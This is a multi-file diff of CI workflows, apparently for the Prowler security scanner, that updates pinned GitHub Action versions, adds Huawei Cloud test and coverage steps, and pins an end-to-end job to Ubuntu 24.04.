-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -112,7 +112,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -123,7 +123,7 @@ jobs:
            files.pythonhosted.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -172,7 +172,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -183,14 +183,14 @@ jobs:
            files.pythonhosted.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Set up Python
-        uses: actions/setup-python@e797f83bcb11b83ae66e0230d6156d7c80228e7c # v6.0.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
-          python-version: '3.12'
+          python-version: '3.12.16'

      - name: Check every pinned and locked release against PyPI
        run: python util/check_yanked_pins.py . api mcp_server
@@ -28,7 +28,7 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

@@ -66,12 +66,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -95,7 +95,7 @@ jobs:
          "${RUNNER_TEMP}/consumer/bin/python" -m pip install --isolated --no-cache-dir --dry-run "${GITHUB_WORKSPACE}"/dist/*.whl

      - name: Publish Prowler package to PyPI
-        uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3
        with:
          print-hash: true

@@ -112,12 +112,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -149,6 +149,6 @@ jobs:
          "${RUNNER_TEMP}/consumer/bin/python" -m pip install --isolated --no-cache-dir --dry-run "${GITHUB_WORKSPACE}"/dist/*.whl

      - name: Publish prowler-cloud package to PyPI
-        uses: pypa/gh-action-pypi-publish@dc37677b2e1c63e2034f94d8a5b11f265b73ba33 # v1.14.2
+        uses: pypa/gh-action-pypi-publish@7245906fb61fa33a13554f9d5fb856fe61758086 # v1.14.3
        with:
          print-hash: true
@@ -27,18 +27,18 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: 'master'
          persist-credentials: false

      - name: Set up Python ${{ env.PYTHON_VERSION }}
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
          python-version: ${{ env.PYTHON_VERSION }}
          cache: 'pip'
@@ -50,7 +50,7 @@ jobs:
        run: pip install boto3==1.40.61 botocore==1.40.61

      - name: Configure AWS credentials
-        uses: aws-actions/configure-aws-credentials@d979d5b3a71173a29b74b5b88418bfda9437d885 # v6.1.1
+        uses: aws-actions/configure-aws-credentials@e1253824e5c10ff9df46874f81ed3ec929e19cfd # v6.3.0
        with:
          aws-region: ${{ env.AWS_REGION }}
          role-to-assume: ${{ secrets.DEV_IAM_ROLE_ARN }}
@@ -25,18 +25,18 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          ref: 'master'
          persist-credentials: false

      - name: Set up Python ${{ env.PYTHON_VERSION }}
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
          python-version: ${{ env.PYTHON_VERSION }}
          cache: 'pip'
@@ -37,7 +37,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -52,7 +52,7 @@ jobs:
            osv-vulnerabilities.storage.googleapis.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -33,7 +33,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -64,7 +64,7 @@ jobs:
            aka.ms:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -225,7 +225,7 @@ jobs:

      - name: Upload AWS coverage to Codecov
        if: steps.changed-aws.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -249,7 +249,7 @@ jobs:

      - name: Upload Azure coverage to Codecov
        if: steps.changed-azure.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -273,7 +273,7 @@ jobs:

      - name: Upload GCP coverage to Codecov
        if: steps.changed-gcp.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -297,7 +297,7 @@ jobs:

      - name: Upload Kubernetes coverage to Codecov
        if: steps.changed-kubernetes.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -321,7 +321,7 @@ jobs:

      - name: Upload GitHub coverage to Codecov
        if: steps.changed-github.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -345,7 +345,7 @@ jobs:

      - name: Upload Okta coverage to Codecov
        if: steps.changed-okta.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -369,7 +369,7 @@ jobs:

      - name: Upload NHN coverage to Codecov
        if: steps.changed-nhn.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -393,7 +393,7 @@ jobs:

      - name: Upload M365 coverage to Codecov
        if: steps.changed-m365.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -417,7 +417,7 @@ jobs:

      - name: Upload IaC coverage to Codecov
        if: steps.changed-iac.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -441,7 +441,7 @@ jobs:

      - name: Upload MongoDB Atlas coverage to Codecov
        if: steps.changed-mongodbatlas.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -465,7 +465,7 @@ jobs:

      - name: Upload OCI coverage to Codecov
        if: steps.changed-oraclecloud.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -489,7 +489,7 @@ jobs:

      - name: Upload OpenStack coverage to Codecov
        if: steps.changed-openstack.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -513,7 +513,7 @@ jobs:

      - name: Upload Google Workspace coverage to Codecov
        if: steps.changed-googleworkspace.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -537,7 +537,7 @@ jobs:

      - name: Upload Vercel coverage to Codecov
        if: steps.changed-vercel.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -561,7 +561,7 @@ jobs:

      - name: Upload Scaleway coverage to Codecov
        if: steps.changed-scaleway.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -585,7 +585,7 @@ jobs:

      - name: Upload StackIT coverage to Codecov
        if: steps.changed-stackit.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -609,7 +609,7 @@ jobs:

      - name: Upload Linode coverage to Codecov
        if: steps.changed-linode.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -633,18 +633,42 @@ jobs:

      - name: Upload E2E Networks coverage to Codecov
        if: steps.changed-e2enetworks.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
          flags: prowler-py${{ matrix.python-version }}-e2enetworks
          files: ./e2enetworks_coverage.xml

+      # Huawei Cloud Provider
+      - name: Check if Huawei Cloud files changed
+        if: steps.check-changes.outputs.any_changed == 'true'
+        id: changed-huaweicloud
+        uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
+        with:
+          files: |
+            ./prowler/**/huaweicloud/**
+            ./tests/**/huaweicloud/**
+            ./uv.lock
+
+      - name: Run Huawei Cloud tests
+        if: steps.changed-huaweicloud.outputs.any_changed == 'true'
+        run: uv run pytest -n auto --cov=./prowler/providers/huaweicloud --cov-report=xml:huaweicloud_coverage.xml tests/providers/huaweicloud
+
+      - name: Upload Huawei Cloud coverage to Codecov
+        if: steps.changed-huaweicloud.outputs.any_changed == 'true'
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
+        env:
+          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
+        with:
+          flags: prowler-py${{ matrix.python-version }}-huaweicloud
+          files: ./huaweicloud_coverage.xml
+
      # External Provider (dynamic loading)
      - name: Check if External Provider files changed
        if: steps.check-changes.outputs.any_changed == 'true'
        id: changed-external
-        uses: tj-actions/changed-files@22103cc46bda19c2b464ffe86db46df6922fd323 # v47.0.5
+        uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6
        with:
          files: |
            ./prowler/providers/common/**
@@ -660,7 +684,7 @@ jobs:
      - name: Upload External Provider coverage to Codecov
        if: steps.changed-external.outputs.any_changed == 'true'

-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -684,7 +708,7 @@ jobs:

      - name: Upload Lib coverage to Codecov
        if: steps.changed-lib.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -708,7 +732,7 @@ jobs:

      - name: Upload Config coverage to Codecov
        if: steps.changed-config.outputs.any_changed == 'true'
-        uses: codecov/codecov-action@671740ac38dd9b0130fbe1cec585b89eea48d3de # v5.5.2
+        uses: codecov/codecov-action@0fb7174895f61a3b6b78fc075e0cd60383518dac # v5.5.5
        env:
          CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }}
        with:
@@ -52,7 +52,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -62,7 +62,7 @@ jobs:
            files.pythonhosted.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -72,9 +72,9 @@ jobs:
        uses: tj-actions/changed-files@9426d40962ed5378910ee2e21d5f8c6fcbf2dd96 # v47.0.6

      - name: Setup Python
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0
        with:
-          python-version: '3.12.13'
+          python-version: '3.15.1'

      - name: Install PyYAML
        run: pip install pyyaml
@@ -49,7 +49,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -59,17 +59,17 @@ jobs:
            uploads.github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Initialize CodeQL
-        uses: github/codeql-action/init@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/init@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          languages: ${{ matrix.language }}
          config-file: ./.github/codeql/ui-codeql-config.yml

      - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@68bde559dea0fdcac2102bfdf6230c5f70eb485e # v4.35.4
+        uses: github/codeql-action/analyze@9b3254085494b55a0f7c4c2b3d2d52cc712ce370 # v4.39.1
        with:
          category: '/language:${{ matrix.language }}'
@@ -46,7 +46,7 @@ jobs:
      contents: read
    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block

@@ -67,12 +67,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -110,7 +110,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -125,23 +125,23 @@ jobs:
            registry.npmjs.org:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}

      - name: Set up Docker Buildx
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build and push UI container for ${{ matrix.arch }}
        id: container-push
        if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.WORKING_DIRECTORY }}
          build-args: |
@@ -174,7 +174,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -186,7 +186,7 @@ jobs:
            release-assets.githubusercontent.com:443

      - name: Login to DockerHub
-        uses: docker/login-action@4907a6ddec9925e35a0a9e82d7399ccc52663121 # v4.1.0
+        uses: docker/login-action@81c6f93d4bc991e510b342a00b419b3bb4efc5c6 # v4.7.0
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
@@ -236,12 +236,12 @@ jobs:
      contents: read
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -33,14 +33,14 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -53,7 +53,7 @@ jobs:

      - name: Lint Dockerfile with Hadolint
        if: steps.dockerfile-changed.outputs.any_changed == 'true'
-        uses: hadolint/hadolint-action@2332a7b74a6de0dda2e2221d575162eba76ba5e5 # v3.3.0
+        uses: hadolint/hadolint-action@06be81baf89a55ffd0e24b8f04a4185738dd3387 # v3.5.0
        with:
          dockerfile: ui/Dockerfile
          ignore: DL3018
@@ -69,7 +69,7 @@ jobs:

    steps:
      - name: Harden Runner
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: block
          allowed-endpoints: >
@@ -78,6 +78,7 @@ jobs:
            auth.docker.io:443
            production.cloudflare.docker.com:443
            production.cloudfront.docker.com:443
+            tuf-repo-cdn.sigstore.dev:443
            registry.npmjs.org:443
            dl-cdn.alpinelinux.org:443
            fonts.googleapis.com:443
@@ -93,7 +94,7 @@ jobs:
            get.anchore.io:443

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          # zizmor: ignore[artipacked]
          persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch
@@ -117,11 +118,11 @@ jobs:

      - name: Set up Docker Buildx
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4.0.0
+        uses: docker/setup-buildx-action@f87e5991a6d7451dcb8d9637bfbc97413f497069 # v4.4.1

      - name: Build UI container
        if: steps.check-changes.outputs.any_changed == 'true'
-        uses: docker/build-push-action@bcafcacb16a39f128d818304e6c9c0c18556b85f # v7.1.0
+        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: ${{ env.UI_WORKING_DIR }}
          target: prod
@@ -39,7 +39,10 @@ jobs:
      github.repository == 'prowler-cloud/prowler' &&
      (github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) &&
      (needs.impact-analysis.outputs.has-ui-e2e == 'true' || needs.impact-analysis.outputs.run-all == 'true')
-    runs-on: ubuntu-latest
+    # ubuntu-latest is moving to 26.04 (rollout began October 19, 2026; completion
+    # targeted for November 19, 2026), where `playwright install` refuses to install
+    # Chromium for the pinned Playwright. Stay on 24.04 until the suite upgrades.
+    runs-on: ubuntu-24.04
    env:
      AUTH_SECRET: "fallback-ci-secret-for-testing"
      AUTH_TRUST_HOST: true
@@ -98,12 +101,12 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@bf7454d06d71f1098171f2acdf0cd4708d7b5920 # v2.20.0
+        uses: step-security/harden-runner@dc2769abcc0fcfbadfc1df54081c1608579ef6b2 # v2.22.2
        with:
          egress-policy: audit

      - name: Checkout repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@d23441a48e516b6c34aea4fa41551a30e30af803 # v6.1.0
        with:
          persist-credentials: false

@@ -219,7 +222,7 @@ jobs:
          echo "E2E prerequisite preflight passed."

      - name: Create k8s Kind Cluster
-        uses: helm/kind-action@ef37e7f390d99f746eb8b610417061a60e82a6cc # v1
+        uses: helm/kind-action@1544676c07bb3570fcb70166beaa07c4528fd4aa # v1.15.1
        with:
          cluster_name: kind

@@ -291,7 +294,7 @@ jobs:
          '

      - name: Setup Node.js
-        uses: actions/setup-node@53b83947a5a98c8d113130e565377fae1a50d02f # v6.3.0
+        uses: actions/setup-node@249970729cb0ef3589644e2896645e5dc5ba9c38 # v6.5.0
        with:
          node-version-file: "ui/.nvmrc"

@@ -305,7 +308,7 @@ jobs:
        run: echo "STORE_PATH=$(pnpm store path --silent)" >> "$GITHUB_ENV"

      - name: Setup pnpm and Next.js cache
-        uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache@caa296126883cff596d87d8935842f9db880ef25 # v5.1.0
        with:
          path: |
            ${{ env.STORE_PATH }}
@@ -325,7 +328,7 @@ jobs:
        run: pnpm run build

      - name: Cache Playwright browsers
-        uses: actions/cache@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache@caa296126883cff596d87d8935842f9db880ef25 # v5.1.0
        id: playwright-cache
        with:
          path: ~/.cache/ms-playwright
@@ -391,8 +394,14 @@ jobs:
        working-directory: ./ui
        run: pnpm run test:e2e:registry

